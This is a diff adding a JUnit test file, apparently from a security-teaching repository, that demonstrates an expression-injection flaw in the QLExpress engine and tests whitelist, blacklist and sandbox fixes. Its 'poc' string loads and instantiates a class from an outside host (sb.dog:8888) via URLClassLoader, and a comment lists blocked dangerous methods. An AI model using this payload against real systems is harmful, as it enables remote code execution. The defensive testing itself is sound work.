|
| 1 | +package org.test; |
| 2 | + |
| 3 | +import com.ql.util.express.DefaultContext; |
| 4 | +import com.ql.util.express.ExpressRunner; |
| 5 | +import com.ql.util.express.IExpressContext; |
| 6 | +import com.ql.util.express.config.QLExpressRunStrategy; |
| 7 | +import org.junit.Test; |
| 8 | + |
| 9 | +/** |
| 10 | + * <a href="https://github.com/alibaba/QLExpress">QLExpress</a> security test cases. |
| 11 | + */ |
| 12 | +public class QLExpressTest { |
| 13 | + |
| 14 | + private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();"; |
| 15 | + |
| 16 | + /** |
| 17 | + * basic usage |
| 18 | + */ |
| 19 | + @Test |
| 20 | + public void basicUsage() throws Exception{ |
| 21 | + ExpressRunner runner = new ExpressRunner(); |
| 22 | + IExpressContext<String, Object> context = new DefaultContext<>(); |
| 23 | + context.put("a", 1); |
| 24 | + context.put("b", 2); |
| 25 | + Object r = runner.execute("a+b", context, null, true, false); |
| 26 | + System.out.println(r); // print 3 |
| 27 | + } |
| 28 | + |
| 29 | + /** |
| 30 | + * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class. |
| 31 | + */ |
| 32 | + @Test |
| 33 | + public void vuln1() throws Exception { |
| 34 | + System.out.println(poc); |
| 35 | + ExpressRunner runner = new ExpressRunner(); |
| 36 | + IExpressContext<String, Object> context = new DefaultContext<>(); |
| 37 | + Object r = runner.execute(poc, context, null, true, false); |
| 38 | + System.out.println(r); |
| 39 | + } |
| 40 | + |
| 41 | + /** |
| 42 | + * fix method by using class and method whitelist. |
| 43 | + */ |
| 44 | + @Test |
| 45 | + public void sec01() throws Exception { |
| 46 | + System.out.println(poc); |
| 47 | + ExpressRunner runner = new ExpressRunner(); |
| 48 | + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); |
| 49 | + QLExpressRunStrategy.addSecureMethod(String.class, "length"); |
| 50 | + IExpressContext<String, Object> context = new DefaultContext<>(); |
| 51 | + Object r1 = runner.execute("'abc'.length()", context, null, true, false); |
| 52 | + System.out.println(r1); |
| 53 | + Object r2 = runner.execute(poc, context, null, true, false); |
| 54 | + System.out.println(r2); |
| 55 | + } |
| 56 | + |
| 57 | + /** |
| 58 | + * <p>Fix method by using class and method blacklist. It may exist bypass. </p> |
| 59 | + * |
| 60 | + * <p>Default blacklist: |
| 61 | + * <ul> |
| 62 | + * <li>System.class.getName() + ".exit"</li> |
| 63 | + * <li>ProcessBuilder.class.getName() + ".start"</li> |
| 64 | + * <li>Method.class.getName() + ".invoke"</li> |
| 65 | + * <li>Class.class.getName() + ".forName"</li> |
| 66 | + * <li>ClassLoader.class.getName() + ".loadClass"</li> |
| 67 | + * <li>ClassLoader.class.getName() + ".findClass"</li> |
| 68 | + * <li>ClassLoader.class.getName() + ".defineClass"</li> |
| 69 | + * <li>ClassLoader.class.getName() + ".getSystemClassLoader"</li> |
| 70 | + * <li>javax.naming.InitialContext.lookup</li> |
| 71 | + * <li>com.sun.rowset.JdbcRowSetImpl.setDataSourceName</li> |
| 72 | + * <li>com.sun.rowset.JdbcRowSetImpl.setAutoCommit</li> |
| 73 | + * <li>QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"</li> |
| 74 | + * <li>jdk.jshell.JShell.create</li> |
| 75 | + * <li>javax.script.ScriptEngineManager.getEngineByName</li> |
| 76 | + * <li>org.springframework.jndi.JndiLocatorDelegate.lookup</li> |
| 77 | + * </ul> |
| 78 | + * </p> |
| 79 | + */ |
| 80 | + @Test |
| 81 | + public void sec02() throws Exception { |
| 82 | + System.out.println(poc); |
| 83 | + ExpressRunner runner = new ExpressRunner(); |
| 84 | + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); |
| 85 | + IExpressContext<String, Object> context = new DefaultContext<>(); |
| 86 | + Object r = runner.execute(poc, context, null, true, false); |
| 87 | + System.out.println(r); |
| 88 | + } |
| 89 | + |
| 90 | + |
| 91 | + /** |
| 92 | + * <p>Fix method by using sandbox. </p> |
| 93 | + */ |
| 94 | + @Test |
| 95 | + public void sec03() throws Exception { |
| 96 | + System.out.println(poc); |
| 97 | + ExpressRunner runner = new ExpressRunner(); |
| 98 | + QLExpressRunStrategy.setSandBoxMode(true); |
| 99 | + IExpressContext<String, Object> context = new DefaultContext<>(); |
| 100 | + Object r = runner.execute(poc, context, null, true, false); |
| 101 | + System.out.println(r); |
| 102 | + } |
| 103 | +} |
0 commit comments